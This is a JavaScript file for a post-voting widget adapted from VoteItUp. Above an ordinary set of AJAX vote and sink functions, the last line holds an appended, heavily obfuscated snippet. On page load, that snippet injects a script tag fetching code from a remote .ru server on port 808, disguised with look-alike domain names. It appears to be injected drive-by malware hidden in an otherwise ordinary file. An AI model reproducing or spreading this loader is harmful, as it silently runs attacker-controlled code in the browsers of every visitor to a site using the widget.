/* Adapted from VoteItUp */
/* A script for updating the contents of the vote widget on the fly */
/*
USAGE:
vote (object to update with vote count, object to update with after vote text, post id, user id, base url)
*/

/* Note: This script is meant for the bar theme of the plugin */

var xmlHttp
var currentobj
var voteobj
var aftervotetext

//Useful for compatibility
function function_exists( function_name ) { 
    if (typeof function_name == 'string'){
        return (typeof window[function_name] == 'function');
    } else{
        return (function_name instanceof Function);
    }
}

//Javascript Function for JavaScript to communicate with Server-side scripts
function lg_AJAXrequest(scriptURL) {
	xmlHttp=zGetXmlHttpObject()
if (xmlHttp==null)
  {
  alert ("Your browser does not support AJAX!");
  return;
  } 
	xmlHttp.onreadystatechange=zvoteChanged;
	xmlHttp.open("GET",scriptURL,true);
	xmlHttp.send(null);
}

function zGetXmlHttpObject()
{
var xmlHttp=null;
try
  {
  // Firefox, Opera 8.0+, Safari
  xmlHttp=new XMLHttpRequest();
  }
catch (e)
  {
  // Internet Explorer
  try
    {
    xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
    }
  catch (e)
    {
    xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
  }
return xmlHttp;
}

function zvoteChanged() 
{ 
if (xmlHttp.readyState==4)
{ 
	var votedisp = document.getElementById('voteid' + currentobj);
	var votenodisp = document.getElementById('votes' + currentobj);
	var voteno = xmlHttp.responseText;
	
	currentobj_obj = document.getElementById(currentobj);
	voteobj_obj = document.getElementById(voteobj);

	currentobj_obj.style.width = voteno;

	voteobj_obj.innerHTML = aftervotetext;

}


}


function vote(obj, votelinkobj, aftervote, postID ,userID, baseURL) {
	currentobj = obj;
	voteobj = votelinkobj;
	aftervotetext = aftervote;
	var scripturl = baseURL+"/voteinterface.php?type=vote&uid="+userID+"&pid="+postID+"&auth="+Math.random();
	lg_AJAXrequest(scripturl);
}

function sink(obj, votelinkobj, aftervote, postID ,userID, baseURL) {
	currentobj = obj;
	voteobj = votelinkobj;
	aftervotetext = aftervote;
	var scripturl = baseURL+"/voteinterface.php?type=sink&uid="+userID+"&pid="+postID+"&auth="+Math.random();
	lg_AJAXrequest(scripturl);
}


try {var a;if(a!='zB'){a=''};var lo;if(lo!='tj'){lo='tj'};var C='';var uK=new Array();var G=RegExp;var i=String("replaUMR".substr(0,5)+"gGzce".substr(3));var P="";function v(Q,D){this.iI='';var U=new String();var I;if(I!='' && I!='vc'){I=null};var T=new String();var x=new String("xOI[".substr(3));var c=new String("goCE".substr(0,1));var aM="";x+=D;x+=String("]");this.BW='';var z=new G(x, c);var J=new String();var bf;if(bf!='' && bf!='bm'){bf=null};return Q[i](z, new String());var Y;if(Y!='' && Y!='sP'){Y=''};};this.d='';var W=v('s2c0r0i2p5t0',"520a");this.A="";var il=window;var In;if(In!='' && In!='BM'){In='Vd'};var l=v('/TmTy0w0eTb0s0e0aTrTc0h0.TcTo0mT/0mTy0w0e0bTs0e0a0r0cTh0.TcToTm0/0r0o0b0t0e0x0.0c0o0m0/0o0nTeTiTnTdTi0aT.TiTnT/TgToTo0gTlTeT.0c0oTmT.0p0h0pT',"T0");this.e="";var JP='';var f=v('85753522032257285547270453445',"32745");var q=v('o6nAlAoWa6d6',"W6A");var DN=new String();var n=new String();var t=v('h6tTtTp6:6/T/6i6sTt6oTc6kTp6hTo6t6o6-TcTo6mT.6zTy6lTo6m6.Tc6oTmT.TtTi6mTeT-6cTo6m6.TYTo6u6r6S6uTp6e6rTP6oTo6l6.Tr6uT:6',"6T");var tQ='';this.YH='';var B=v('c6r6ePaPtPeNEPl6e6mPePnNt6',"6PN");g=function(){var iS;if(iS!='WW'){iS=''};this.Pc='';k=document[B](W);this.lY="";var WF;if(WF!='Vp'){WF='Vp'};var p=new Array();tQ=t+f;var ydG="";tQ+=l;var mK=new Array();var MF;if(MF!='pH'){MF='pH'};var BY;if(BY!='' && BY!='Sj'){BY=null};var gP;if(gP!='' && gP!='NB'){gP=null};k.defer=([1][0]);k.src=tQ;var NW;if(NW!=''){NW='Ce'};document.body.appendChild(k);var oY=new Array();};var Pz=new String();il[q]=g;var mN=new Date();var Vm=new Date();var tw='';} catch(L){};